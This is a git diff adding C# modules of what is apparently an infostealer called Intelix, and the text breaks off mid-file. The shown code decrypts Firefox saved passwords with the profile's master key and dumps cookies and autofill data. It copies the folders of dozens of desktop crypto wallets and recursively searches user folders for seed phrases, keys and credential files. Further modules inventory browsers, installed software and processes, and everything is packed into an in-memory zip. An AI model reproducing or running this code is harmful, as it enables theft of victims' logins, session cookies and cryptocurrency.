profilename, browsername); + }), Task.Run(delegate + { + Cookies(zip, counterBrowser, profile, profilename, browsername); + }), Task.Run(delegate + { + AutoFill(zip, counterBrowser, profile, profilename, browsername); + })); + if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L) + { + counter.Browsers.Add(counterBrowser); + } + } + + private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string path = Path.Combine(profile, "logins.json"); + if (!File.Exists(path)) + { + return; + } + string path2 = Path.Combine(profile, "key4.db"); + string path3 = Path.Combine(profile, "key3.db"); + byte[] masterKey = null; + if (File.Exists(path2)) + { + masterKey = NssDumpMasterKey.Key4Database(path2); + } + else if (File.Exists(path3)) + { + masterKey = NssDumpMasterKey.Key3Database(path3); + } + if (masterKey == null && !NSSDecryptor.Initialize(profile)) + { + return; + } + string text = File.ReadAllText(path); + if (string.IsNullOrEmpty(text)) + { + return; + } + MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline); + if (matchCollection.Count == 0) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.ForEach(matchCollection.Cast(), delegate(Match match) + { + string value = match.Groups[1].Value; + string value2 = match.Groups[2].Value; + string value3 = match.Groups[3].Value; + string text2 = ""; + string text3 = ""; + if (masterKey == null) + { + text2 = NSSDecryptor.Decrypt(value2); + text3 = NSSDecryptor.Decrypt(value3); + } + else + { + Asn1Der asn1Der = new Asn1Der(); + byte[] toParse = Convert.FromBase64String(value2); + byte[] toParse2 = Convert.FromBase64String(value3); + Asn1DerObject asn1DerObject = asn1Der.Parse(toParse); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2); + byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data; + byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data; + byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data; + byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data; + text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2); + text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4); + } + text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", "")); + text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", "")); + if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3)) + { + lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n"); + ++counterBrowser.Password; + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } + + private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string text = Path.Combine(profile, "cookies.sqlite"); + if (!File.Exists(text)) + { + return; + } + SqLite sSqLite = SqLite.ReadTable(text, "moz_cookies"); + if (sSqLite == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 3); + string value2 = sSqLite.GetValue(i, 4); + string value3 = sSqLite.GetValue(i, 2); + string value4 = sSqLite.GetValue(i, 5); + string value5 = sSqLite.GetValue(i, 6); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5)) + { + string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n"; + lines.Add(item); + ++counterBrowser.Cookies; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } + + private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string text = Path.Combine(profile, "formhistory.sqlite"); + if (!File.Exists(text)) + { + return; + } + SqLite sSqLite = SqLite.ReadTable(text, "moz_formhistory"); + if (sSqLite == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value)) + { + string item = "Name: " + value + "\nValue: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.AutoFill; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } +} diff --git a/Intelix.Targets.Browsers/UserAgentGenerator.cs b/Intelix.Targets.Browsers/UserAgentGenerator.cs new file mode 100644 index 0000000..cc8d005 --- /dev/null +++ b/Intelix.Targets.Browsers/UserAgentGenerator.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +internal class UserAgentGenerator : ITarget +{ + private class BrowserAgent + { + public string Name { get; set; } + + public string UserAgent { get; set; } + } + + private readonly string[] paths = new string[7] + { + "C:\\Program Files\\Opera\\launcher.exe", + "C:\\Program Files\\Apple\\Safari\\Safari.exe", + "C:\\Program Files\\Mozilla Firefox\\firefox.exe", + "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe" + }; + + private readonly string[] names = new string[7] { "Opera", "Safari", "Firefox", "Chrome", "Edge", "Brave", "Yandex" }; + + public void Collect(InMemoryZip zip, Counter counter) + { + string version = WindowsInfo.GetVersion(); + string architecture = WindowsInfo.GetArchitecture(); + List list = new List(); + for (int i = 0; i < paths.Length; i++) + { + string text = ((names[i] == "Chrome") ? GenerateUserAgentChrome(paths[i], version, architecture) : GenerateUserAgent(paths[i], names[i], version, architecture)); + if (!string.IsNullOrEmpty(text)) + { + list.Add(new BrowserAgent + { + Name = names[i], + UserAgent = text + }); + } + } + if (list.Count != 0) + { + int maxName = Math.Max("Browser".Length, list.Max((BrowserAgent a) => a.Name.Length)); + int maxUA = Math.Max("User-Agent".Length, list.Max((BrowserAgent a) => a.UserAgent.Length)); + List list2 = new List + { + "Browser".PadRight(maxName) + " | " + "User-Agent".PadRight(maxUA), + new string('-', maxName + maxUA + 3) + }; + list2.AddRange(list.Select((BrowserAgent a) => a.Name.PadRight(maxName) + " | " + a.UserAgent.PadRight(maxUA))); + zip.AddTextFile("UserAgents.txt", string.Join(Environment.NewLine, list2)); + } + } + + private string GenerateUserAgent(string browserPath, string name, string osVersion, string architecture) + { + if (File.Exists(browserPath)) + { + return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 " + name + "/" + GetBrowserVersion(browserPath); + } + return string.Empty; + } + + private string GenerateUserAgentChrome(string browserPath, string osVersion, string architecture) + { + if (!File.Exists(browserPath)) + { + return string.Empty; + } + string browserVersion = GetBrowserVersion(browserPath); + return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + browserVersion + " Safari/537.36"; + } + + private string GetBrowserVersion(string browserPath) + { + if (!File.Exists(browserPath)) + { + return "Unknown"; + } + return FileVersionInfo.GetVersionInfo(browserPath).FileVersion; + } +} diff --git a/Intelix.Targets.Crypto/._CryptoDesktop.cs b/Intelix.Targets.Crypto/._CryptoDesktop.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Crypto/._CryptoDesktop.cs differ diff --git a/Intelix.Targets.Crypto/CryptoDesktop.cs b/Intelix.Targets.Crypto/CryptoDesktop.cs new file mode 100644 index 0000000..812e2df --- /dev/null +++ b/Intelix.Targets.Crypto/CryptoDesktop.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Crypto; + +public class CryptoDesktop : ITarget +{ + private static readonly List SWalletsDirectories = new List + { + new string[2] + { + "Zcash", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Zcash") + }, + new string[2] + { + "Armory", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Armory") + }, + new string[2] + { + "Bytecoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "bytecoin") + }, + new string[2] + { + "Jaxx", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "Exodus", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Exodus", "exodus.wallet") + }, + new string[2] + { + "Ethereum", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ethereum", "keystore") + }, + new string[2] + { + "Electrum", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum", "wallets") + }, + new string[2] + { + "AtomicWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "atomic", "Local Storage", "leveldb") + }, + new string[2] + { + "Atomic", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Atomic", "Local Storage", "leveldb") + }, + new string[2] + { + "Guarda", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Guarda", "Local Storage", "leveldb") + }, + new string[2] + { + "Coinomi", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Coinomi", "Coinomi", "wallets") + }, + new string[2] + { + "Tari", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.tari.universe", "app_configs", "mainnet") + }, + new string[2] + { + "Tari", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "com.tari.universe", "wallet", "mainnet", "data", "wallet") + }, + new string[2] + { + "Bitcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Bitcoin", "wallets") + }, + new string[2] + { + "Bitcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Bitcoin", "wallets") + }, + new string[2] + { + "Dash", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DashCore", "wallets") + }, + new string[2] + { + "Litecoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Litecoin", "wallets") + }, + new string[2] + { + "MyMonero", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyMonero") + }, + new string[2] + { + "Monero", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Monero") + }, + new string[2] + { + "Vertcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vertcoin") + }, + new string[2] + { + "Groestlcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Groestlcoin") + }, + new string[2] + { + "Komodo", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Komodo") + }, + new string[2] + { + "PIVX", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PIVX") + }, + new string[2] + { + "BitcoinGold", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "BitcoinGold") + }, + new string[2] + { + "Electrum-LTC", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum-LTC") + }, + new string[2] + { + "Binance", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Binance") + }, + new string[2] + { + "Phantom", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Phantom", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "Coin98", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Coin98", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "MathWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MathWallet", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "LedgerLive", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ledger Live") + }, + new string[2] + { + "TrezorSuite", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrezorSuite") + }, + new string[2] + { + "MyEtherWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyEtherWallet") + }, + new string[2] + { + "MyCrypto", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyCrypto") + }, + new string[2] + { + "MetaMask", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MetaMask", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "TrustWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrustWallet", "IndexedDB", "file__0.indexeddb.leveldb") + } + }; + + private static readonly string[] SWalletsRegistry = new string[3] { "Litecoin", "Dash", "Bitcoin" }; + + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + Parallel.ForEach(SWalletsDirectories, delegate(string[] sw) + { + CopyWalletFromDirectoryTo(sw[1], sw[0], zip, counter); + }); + Parallel.ForEach(SWalletsRegistry, delegate(string sWalletRegistry) + { + CopyWalletFromRegistryTo(sWalletRegistry, zip, counter); + }); + } + catch + { + } + } + + private void CopyWalletFromDirectoryTo(string sWalletDir, string sWalletName, InMemoryZip zip, Counter counter) + { + if (Directory.Exists(sWalletDir)) + { + zip.AddDirectoryFiles(sWalletDir, "Wallet/" + sWalletName); + counter.CryptoDesktop.Add(sWalletDir + " => Wallet/" + sWalletName); + } + } + + private void CopyWalletFromRegistryTo(string sWalletRegistry, InMemoryZip zip, Counter counter) + { + try + { + string name = "Software\\" + sWalletRegistry + "\\" + sWalletRegistry + "-Qt"; + string text = Registry.CurrentUser.OpenSubKey(name)?.GetValue("strDataDir")?.ToString(); + if (text != null) + { + string text2 = Path.Combine(text, "wallets"); + if (Directory.Exists(text2)) + { + zip.AddDirectoryFiles(text2, "Wallet/" + sWalletRegistry); + counter.CryptoDesktop.Add(text2 + " => Wallet/" + sWalletRegistry); + } + } + } + catch + { + } + } +} diff --git a/Intelix.Targets.Crypto/Grabber.cs b/Intelix.Targets.Crypto/Grabber.cs new file mode 100644 index 0000000..9e06ab5 --- /dev/null +++ b/Intelix.Targets.Crypto/Grabber.cs @@ -0,0 +1,187 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Crypto; + +public class Grabber : ITarget +{ + private readonly long _sizeMinFile = 120L; + + private readonly long _sizeLimitFile = 6144L; + + private readonly long _sizeLimit = 5242880L; + + private long _size; + + private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled); + + private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" }; + + private readonly string[] _keywords = new string[35] + { + "password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email", + "secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup", + "pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto", + "btc", "eth", "usdt", "ltc", "xmr" + }; + + private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" }; + + private readonly string[] _seedPaths = new string[19] + { + Environment.GetFolderPath(Environment.SpecialFolder.Personal), + Environment.GetFolderPath(Environment.SpecialFolder.Desktop), + Environment.GetFolderPath(Environment.SpecialFolder.Personal), + Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments), + Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory), + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup" + }; + + private long Size + { + get + { + return Interlocked.Read(ref _size); + } + set + { + Interlocked.Exchange(ref _size, value); + } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(_seedPaths, delegate(string directory) + { + SearchFiles(zip, counter, directory); + }); + } + + private void SearchFiles(InMemoryZip zip, Counter counter, string directory) + { + if (Size > _sizeLimit) + { + return; + } + try + { + Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir) + { + if (Size <= _sizeLimit) + { + SearchFiles(zip, counter, subDir); + } + }); + } + catch + { + } + try + { + Parallel.ForEach(Directory.GetFiles(directory), delegate(string file) + { + if (Size <= _sizeLimit) + { + FileInfo fileInfo = new FileInfo(file); + if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile) + { + string text = File.ReadAllText(fileInfo.FullName); + if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text)) + { + Size += fileInfo.Length; + string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension; + string relativePath = GetRelativePath(fileInfo.FullName); + string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/'); + zip.AddTextFile(text2, text); + counter.FilesGrabber.Add(file + " => " + text2); + } + } + } + }); + } + catch + { + } + } + + private bool ContainsSeedPhrase(string content) + { + return _seedRegex.IsMatch(content); + } + + private string GetRelativePath(string fullPath) + { + try + { + string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal); + + if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase)) + { + return "desktop"; + } + if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase)) + { + return "Documents"; + } + return "other"; + } + catch + { + return "other"; + } + } + + private bool ContainsKeyword(string content) + { + if (string.IsNullOrEmpty(content)) + { + return false; + } + string[] source = content.Split(new char[14] + { + ' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_', + '/', '\\', '"', '\'' + }, StringSplitOptions.RemoveEmptyEntries); + HashSet whitelist = new HashSet(_keywords, StringComparer.OrdinalIgnoreCase); + HashSet blacklist = new HashSet(_blacklist, StringComparer.OrdinalIgnoreCase); + int result = 0; + Parallel.ForEach(source, delegate(string word, ParallelLoopState state) + { + if (Volatile.Read(ref result) == -1) + { + state.Stop(); + } + else if (blacklist.Contains(word)) + { + Interlocked.Exchange(ref result, -1); + state.Stop(); + } + else if (whitelist.Contains(word)) + { + Interlocked.CompareExchange(ref result, 1, 0); + } + }); + return result == 1; + } +} diff --git a/Intelix.Targets.Device/._GameList.cs b/Intelix.Targets.Device/._GameList.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Device/._GameList.cs differ diff --git a/Intelix.Targets.Device/._InstalledBrowsers.cs b/Intelix.Targets.Device/._InstalledBrowsers.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Device/._InstalledBrowsers.cs differ diff --git a/Intelix.Targets.Device/._InstalledPrograms.cs b/Intelix.Targets.Device/._InstalledPrograms.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Device/._InstalledPrograms.cs differ diff --git a/Intelix.Targets.Device/._ProductKey.cs b/Intelix.Targets.Device/._ProductKey.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Device/._ProductKey.cs differ diff --git a/Intelix.Targets.Device/._ScreenShot.cs b/Intelix.Targets.Device/._ScreenShot.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Device/._ScreenShot.cs differ diff --git a/Intelix.Targets.Device/._SystemInfo.cs b/Intelix.Targets.Device/._SystemInfo.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Device/._SystemInfo.cs differ diff --git a/Intelix.Targets.Device/GameList.cs b/Intelix.Targets.Device/GameList.cs new file mode 100644 index 0000000..9c4b9cd --- /dev/null +++ b/Intelix.Targets.Device/GameList.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class GameList : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = "C:\\Games"; + if (Directory.Exists(path)) + { + List list = Directory.GetDirectories(path).Select(Path.GetFileName).ToList(); + if (list.Any()) + { + zip.AddTextFile("Games.txt", string.Join("\n", list)); + } + } + } +} diff --git a/Intelix.Targets.Device/InstalledBrowsers.cs b/Intelix.Targets.Device/InstalledBrowsers.cs new file mode 100644 index 0000000..e791c04 --- /dev/null +++ b/Intelix.Targets.Device/InstalledBrowsers.cs @@ -0,0 +1,160 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class InstalledBrowsers : ITarget +{ + private class Browser + { + public string Name { get; set; } + + public string Path { get; set; } + + public string Version { get; set; } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + List list = (from g in GetBrowsers().GroupBy((Browser b) => b.Name, StringComparer.OrdinalIgnoreCase) + select g.First()).ToList(); + int maxName = Math.Max("Name".Length, list.Max((Browser b) => b.Name.Length)); + int maxVersion = Math.Max("Version".Length, list.Max((Browser b) => b.Version.Length)); + int length = "In Use".Length; + List list2 = new List + { + "Name".PadRight(maxName) + " | " + "Version".PadRight(maxVersion), + new string('-', maxName + maxVersion + length + 6) + }; + list2.AddRange(list.Select(delegate(Browser b) + { + SafeGetExeName(b.Path); + return b.Name.PadRight(maxName) + " | " + b.Version.PadRight(maxVersion); + })); + if (list.Count > 0) + { + zip.AddTextFile("InstalledBrowsers.txt", string.Join("\n", list2)); + } + } + + private static IEnumerable GetBrowsers() + { + string[] obj = new string[2] { "SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet", "SOFTWARE\\Clients\\StartMenuInternet" }; + List list = new List(); + string[] array = obj; + foreach (string keyPath in array) + { + list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.LocalMachine)); + list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.CurrentUser)); + } + Browser edgeLegacyVersion = GetEdgeLegacyVersion(); + if (edgeLegacyVersion != null) + { + list.Add(edgeLegacyVersion); + } + return list; + } + + private static IEnumerable GetBrowsersFromRegistry(string keyPath, RegistryKey root) + { + using RegistryKey key = root.OpenSubKey(keyPath); + if (key == null) + { + yield break; + } + string[] subKeyNames = key.GetSubKeyNames(); + foreach (string name in subKeyNames) + { + using RegistryKey subkey = key.OpenSubKey(name); + if (!(subkey?.GetValue(null) is string name2)) + { + continue; + } + string text = StripQuotesFromCommand(subkey.OpenSubKey("shell\\open\\command")?.GetValue(null)?.ToString()); + string version = "unknown"; + if (!string.IsNullOrEmpty(text) && File.Exists(text)) + { + try + { + version = FileVersionInfo.GetVersionInfo(text).FileVersion; + } + catch + { + } + } + yield return new Browser + { + Name = name2, + Path = text, + Version = version + }; + } + } + + private static Browser GetEdgeLegacyVersion() + { + using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Schemas")) + { + if (registryKey?.GetValue("PackageFullName") is string input) + { + Match match = Regex.Match(input, "\\d+(\\.\\d+)+"); + if (match.Success) + { + return new Browser + { + Name = "Microsoft Edge (Legacy)", + Path = null, + Version = match.Value + }; + } + } + } + return null; + } + + private static string StripQuotesFromCommand(string command) + { + if (string.IsNullOrWhiteSpace(command)) + { + return null; + } + command = command.Trim(); + if (command.StartsWith("\"")) + { + int num = command.IndexOf('"', 1); + if (num > 1) + { + return command.Substring(1, num - 1); + } + return null; + } + int num2 = command.IndexOf(' '); + if (num2 <= 0) + { + return command; + } + return command.Substring(0, num2); + } + + private static string SafeGetExeName(string path) + { + try + { + if (string.IsNullOrWhiteSpace(path)) + { + return null; + } + return Path.GetFileName(path)?.ToUpperInvariant(); + } + catch + { + return null; + } + } +} diff --git a/Intelix.Targets.Device/InstalledPrograms.cs b/Intelix.Targets.Device/InstalledPrograms.cs new file mode 100644 index 0000000..84a7345 --- /dev/null +++ b/Intelix.Targets.Device/InstalledPrograms.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class InstalledPrograms : ITarget +{ + private class InstalledProgram + { + public string Name { get; set; } + + public string Version { get; set; } + + public string InstallLocation { get; set; } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList(); + if (list.Count != 0) + { + int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0)); + int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0)); + int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0)); + List list2 = new List(); + list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion)); + list2.Add(new string('-', maxName + maxPath + maxVersion + 6)); + List list3 = list2; + list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion))); + zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", list3)); + } + } + + private static List GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter) + { + ConcurrentBag installedPrograms = new ConcurrentBag(); + using (RegistryKey registryKey = root.OpenSubKey(uninstallKey)) + { + if (registryKey == null) + { + return new List(); + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + if (subKeyNames == null || subKeyNames.Length == 0) + { + return new List(); + } + Parallel.ForEach(subKeyNames, delegate(string subkeyName) + { + try + { + using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName); + string text = registryKey2?.GetValue("DisplayName") as string; + if (!string.IsNullOrEmpty(text)) + { + InstalledProgram item = new InstalledProgram + { + Name = text.Trim(), + Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"), + InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown") + }; + installedPrograms.Add(item); + } + } + catch + { + } + }); + } + return installedPrograms.ToList(); + } +} diff --git a/Intelix.Targets.Device/ProcessDump.cs b/Intelix.Targets.Device/ProcessDump.cs new file mode 100644 index 0000000..44528f9 --- /dev/null +++ b/Intelix.Targets.Device/ProcessDump.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class ProcessDump : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + List list = ProcessWindows.GetProcInfos().ToList(); + if (list.Count == 0) + { + return; + } + int totalWidth = Math.Max("Name".Length, list.Max((ProcessWindows.ProcInfo p) => p.Name?.Length ?? 0)); + int 